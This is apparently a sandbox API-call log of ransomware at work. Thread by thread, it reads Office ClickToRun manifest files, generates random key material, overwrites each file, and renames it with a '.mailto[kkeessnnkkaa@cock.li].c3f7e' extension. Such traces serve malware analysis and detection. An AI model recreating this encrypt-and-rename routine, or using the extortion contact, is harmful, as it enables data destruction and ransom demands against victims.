	[0089.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0089.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0089.242] NtQuerySystemTime (in: CurrentTime=0x2cd3fb00 | out: CurrentTime=0x2cd3fb00*=132251868159757393) returned 0x0
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xddaa3184
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x13591cb9
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xa0efc8bb
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xf984a90a
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xeb0ae4eb
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xdf55bbf6
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x8c8217ad
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xe9298219
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x7c151e84
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x5652e735
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xb6056a6e
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xb0a16d2d
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xfe9f0670
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x5ffa10dd
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x75128ccf
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xd72ba471
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xf26c79b8
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xb3657336
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x2d251fb
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x881e5272
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xe9505b65
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xf92bb8db
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x3d0f14c2
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xad01234e
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x967022be
	[0089.242] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xa0dfdb39
	[0089.243] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xa70b3388
	[0089.243] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xb966dba4
	[0089.243] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0xa4e2afb2
	[0089.243] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x635bb819
	[0089.243] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x19b55044
	[0089.243] RtlRandom (in: Seed=0x2cd3fb0c | out: Seed=0x2cd3fb0c) returned 0x68563c5a
	[0089.251] ReadFile (in: hFile=0x1c38, lpBuffer=0x486a040, nNumberOfBytesToRead=0x809e, lpNumberOfBytesRead=0x2cd3fafc, lpOverlapped=0x0 | out: lpBuffer=0x486a040*, lpNumberOfBytesRead=0x2cd3fafc*=0x809e, lpOverlapped=0x0) returned 1
	[0089.253] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.253] WriteFile (in: hFile=0x1c38, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x809e, lpNumberOfBytesWritten=0x2cd3faf8, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x2cd3faf8*=0x809e, lpOverlapped=0x0) returned 1
	[0089.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0089.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a040) returned 1
	[0089.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5b) returned 0x4734088
	[0089.255] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.255] WriteFile (in: hFile=0x1c38, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x13f, lpNumberOfBytesWritten=0x2cd3fb60, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2cd3fb60*=0x13f, lpOverlapped=0x0) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0089.257] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebca00
	[0089.257] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml"
	[0089.257] wcscat (in: _Dest=0x4ebca00, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.257] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2cd3fb18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e02570
	[0089.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0089.258] NtQueryInformationFile (in: FileHandle=0x1c38, IoStatusBlock=0x2cd3fb24, FileInformation=0x2cd3fafc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cd3fb24, FileInformation=0x2cd3fafc) returned 0x0
	[0089.258] NtSetInformationFile (FileHandle=0x1c38, IoStatusBlock=0x2cd3fb24, FileInformation=0x2cd3fafc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.259] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0089.259] FlushFileBuffers (hFile=0x1c38) returned 1
	[0093.269] CloseHandle (hObject=0x1c38) 

Thread:
	id = 1298
	os_tid = 0x2084

	[0089.251] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 0x20
	[0089.254] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.254] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c3c
	[0089.254] GetFileSizeEx (in: hFile=0x1c3c, lpFileSize=0x2cdbfdf4 | out: lpFileSize=0x2cdbfdf4*=25518) returned 1
	[0089.255] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x63aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.255] ReadFile (in: hFile=0x1c3c, lpBuffer=0x2cdbfd78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cdbfd74, lpOverlapped=0x0 | out: lpBuffer=0x2cdbfd78*, lpNumberOfBytesRead=0x2cdbfd74*=0x4, lpOverlapped=0x0) returned 1
	[0089.260] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0089.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0089.260] NtQuerySystemTime (in: CurrentTime=0x2cdbfd54 | out: CurrentTime=0x2cdbfd54*=132251868159913691) returned 0x0
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xdee1398a
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xadc0073a
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x7801c29a
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x147d1620
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xd0e3b19c
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x4a289169
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x992894d1
	[0089.260] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xcd7693ea
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x8c28ee5c
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xe7cdb342
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xe0ec0f91
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xe619afe3
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x7be26fe4
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xd340478
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x139ebacf
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xa86c1022
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xe75133fa
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x281ed09b
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x5fabfd03
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x1066c4da
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x721196a
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x9cb6d30c
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x741e0813
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x6d4d6e5e
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xa15b9fb
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xff90c919
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x14aa0664
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x81ddf3a9
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x672e95b8
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x574499fd
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0x972e2495
	[0089.261] RtlRandom (in: Seed=0x2cdbfd60 | out: Seed=0x2cdbfd60) returned 0xb5f2fb37
	[0089.269] ReadFile (in: hFile=0x1c3c, lpBuffer=0x486a040, nNumberOfBytesToRead=0x63ae, lpNumberOfBytesRead=0x2cdbfd50, lpOverlapped=0x0 | out: lpBuffer=0x486a040*, lpNumberOfBytesRead=0x2cdbfd50*=0x63ae, lpOverlapped=0x0) returned 1
	[0089.271] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.271] WriteFile (in: hFile=0x1c3c, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x63ae, lpNumberOfBytesWritten=0x2cdbfd4c, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x2cdbfd4c*=0x63ae, lpOverlapped=0x0) returned 1
	[0089.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.272] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0089.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a040) returned 1
	[0089.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.273] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecea0
	[0089.273] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.273] WriteFile (in: hFile=0x1c3c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x2cdbfdb4, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2cdbfdb4*=0x145, lpOverlapped=0x0) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0089.274] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481e928
	[0089.274] wcscpy (in: _Dest=0x481e928, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml"
	[0089.274] wcscat (in: _Dest=0x481e928, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.274] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2cdbfd6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x498ed90
	[0089.275] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.275] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.275] NtQueryInformationFile (in: FileHandle=0x1c3c, IoStatusBlock=0x2cdbfd78, FileInformation=0x2cdbfd50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cdbfd78, FileInformation=0x2cdbfd50) returned 0x0
	[0089.275] NtSetInformationFile (FileHandle=0x1c3c, IoStatusBlock=0x2cdbfd78, FileInformation=0x2cdbfd50, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0089.276] FlushFileBuffers (hFile=0x1c3c) returned 1
	[0093.270] CloseHandle (hObject=0x1c3c) 

Thread:
	id = 1299
	os_tid = 0x2088

	[0089.272] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 0x20
	[0089.277] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", dwFileAttributes=0x20) returned 1
	[0089.277] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c40
	[0089.277] GetFileSizeEx (in: hFile=0x1c40, lpFileSize=0x2ce3f95c | out: lpFileSize=0x2ce3f95c*=24558) returned 1
	[0089.277] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x5fea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.277] ReadFile (in: hFile=0x1c40, lpBuffer=0x2ce3f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ce3f8dc, lpOverlapped=0x0 | out: lpBuffer=0x2ce3f8e0*, lpNumberOfBytesRead=0x2ce3f8dc*=0x4, lpOverlapped=0x0) returned 1
	[0089.279] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0089.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0089.279] NtQuerySystemTime (in: CurrentTime=0x2ce3f8bc | out: CurrentTime=0x2ce3f8bc*=132251868160225522) returned 0x0
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x1820cc73
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x97ac66a8
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xf2eef285
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x4ed360f3
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x952a70f
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x1260b66
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xf0786bf2
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x6336f347
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xf15e7497
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x369ebe61
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x93b220ec
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x48c1c10e
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xd812800a
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x58e1670b
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x9d965e43
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xc6ca710
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x576db98e
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xcb0db5e1
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xb2da766e
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xaccc43ee
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xcef06d8
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xdb0afe4f
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x64e76ade
	[0089.279] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x30ce444f
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x6ee4f4ee
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x67c5df91
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x15879083
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x4a07ece2
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x6631510b
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0xd85fa544
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x3a260f60
	[0089.280] RtlRandom (in: Seed=0x2ce3f8c8 | out: Seed=0x2ce3f8c8) returned 0x9b7a2d07
	[0089.288] ReadFile (in: hFile=0x1c40, lpBuffer=0x486a040, nNumberOfBytesToRead=0x5fee, lpNumberOfBytesRead=0x2ce3f8b8, lpOverlapped=0x0 | out: lpBuffer=0x486a040*, lpNumberOfBytesRead=0x2ce3f8b8*=0x5fee, lpOverlapped=0x0) returned 1
	[0089.289] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
